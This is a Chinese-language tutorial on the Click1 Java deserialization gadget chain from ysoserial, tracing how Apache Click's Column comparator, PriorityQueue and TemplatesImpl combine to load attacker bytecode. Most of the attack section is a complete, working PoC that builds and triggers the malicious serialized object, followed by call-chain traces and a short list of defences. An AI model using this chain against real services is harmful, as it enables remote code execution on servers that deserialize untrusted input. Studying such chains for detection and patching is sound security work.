新的反序列化链——Click1
字数 1921 2025-08-05 08:17:46
Click1反序列化漏洞分析与利用教学文档
一、漏洞概述
Click1是ysoserial工具中新添加的一个反序列化利用链,基于Apache Click框架的click-nodeps-2.3.0.jar和javax.servlet-api-3.1.0.jar。该利用链与CommonsBeanutils1链原理相似,都是通过特定的Comparator实现来触发TemplatesImpl的恶意代码执行。
二、核心组件分析
1. TemplatesImpl利用机制
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是Java XSLT处理的核心类,可以被用来加载和执行任意字节码。
关键方法调用链:
getOutputProperties()
→ newTransformer()
→ getTransletInstance()
→ defineTransletClasses()
→ defineClass()加载恶意字节码
→ newInstance()实例化恶意类
必要属性设置:
_bytecodes: 包含恶意类的字节码_name: 任意非空字符串_tfactory: 通常设置为new TransformerFactoryImpl()
2. PriorityQueue触发机制
java.util.PriorityQueue在反序列化时会使用Comparator对元素进行排序,这是触发漏洞的关键点。
反序列化调用链:
readObject()
→ heapify()
→ siftDown()
→ siftDownUsingComparator()
→ comparator.compare()
三、漏洞利用详细分析
1. 完整POC代码
package test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.click.control.Column;
import org.apache.click.control.Table;
import java.io.*;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Click1 {
public static void main(String[] args) throws Exception {
// 加载恶意字节码
FileInputStream inputFromFile = new FileInputStream("TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
// 设置TemplatesImpl
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 构造Column和Comparator
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = column.getComparator();
// 构造PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// 通过反射修改queue内容和column名称
column.setName("outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
// 反序列化触发
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
2. 关键步骤解析
-
TemplatesImpl初始化:
- 加载恶意类字节码到
_bytecodes - 设置
_name为非空值 - 设置
_tfactory为TransformerFactoryImpl实例
- 加载恶意类字节码到
-
Column设置:
- 创建Column实例,初始name设为"lowestSetBit"
- 必须设置Table:
column.setTable(new Table())
-
PriorityQueue构造:
- 使用Column的Comparator初始化PriorityQueue
- 添加两个BigInteger("1")元素进行初始排序
- 排序完成后,通过反射:
- 将column的name改为"outputProperties"
- 将queue内容替换为两个TemplatesImpl实例
-
触发原理:
- 反序列化时PriorityQueue会调用Comparator
- Comparator最终会调用
TemplatesImpl.getOutputProperties() - 从而触发恶意代码执行
3. 完整调用链
序列化时:
Column.Column() // 设置name为lowestSetBit
PriorityQueue.add() // 第一次新增
PriorityQueue.offer()
PriorityQueue.grow()
PriorityQueue.add() // 第二次新增
PriorityQueue.offer()
PriorityQueue.siftUp()
PriorityQueue.siftUpUsingComparator()
Column$Comparator.compare()
Column.getProperty()
Column.getName() // 取出lowestSetBit
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
BigInteger.getLowestSetBit()
反序列化时:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
Column$ColumnComparator.compare()
Column.getProperty()
Column.getName() // 此时name已被改为outputProperties
Column.getProperty()
PropertyUtils.getValue()
PropertyUtils.getObjectPropertyValue()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl$TransletClassLoader.defineClass()
四、技术细节深入
1. Column比较器机制
org.apache.click.control.Column内部类ColumnComparator的compare方法:
public int compare(Object row1, Object row2) {
this.ascendingSort = column.getTable().isSortedAscending() ? 1 : -1;
Object value1 = column.getProperty(row1);
Object value2 = column.getProperty(row2);
// ...比较逻辑...
}
关键点:
- 需要设置Table:
column.setTable(new Table()) - 通过
column.getProperty()最终调用目标对象的getter方法
2. PropertyUtils利用
PropertyUtils.getValue()最终调用:
private static Object getObjectPropertyValue(Object source, String name, Map cache) {
PropertyUtils.CacheKey methodNameKey = new PropertyUtils.CacheKey(source, name);
Method method = null;
try {
method = (Method) cache.get(methodNameKey);
if (method == null) {
method = source.getClass().getMethod(ClickUtils.toGetterName(name));
cache.put(methodNameKey, method);
}
return method.invoke(source);
// ...异常处理...
}
ClickUtils.toGetterName()简单地将属性名转换为getter方法名:
- "outputProperties" → "getOutputProperties"
- "lowestSetBit" → "getLowestSetBit"
3. 绕过比较限制的巧妙设计
初始设置:
- 设置column name为"lowestSetBit"
- 添加两个BigInteger("1")到队列
- 此时调用的是BigInteger.getLowestSetBit()
- 这是合法的方法调用,可以通过序列化检查
序列化后修改:
- 将column name改为"outputProperties"
- 将queue内容替换为TemplatesImpl实例
- 反序列化时将调用TemplatesImpl.getOutputProperties()
- 从而触发恶意代码
五、防御建议
- 避免反序列化不可信数据
- 使用安全的反序列化解决方案,如:
- 白名单过滤
- 使用安全的序列化格式(JSON, Protocol Buffers等)
- 更新相关库到最新版本
- 使用SecurityManager限制敏感操作
六、总结
Click1反序列化漏洞利用链展示了Java反序列化的典型风险模式:
- 利用PriorityQueue在反序列化时的排序行为
- 通过自定义Comparator间接调用危险方法
- 结合TemplatesImpl的字节码加载功能实现RCE
虽然Click1不如CommonsBeanutils1通用,但其利用技巧值得深入研究,对理解Java反序列化漏洞的原理和防御有重要价值。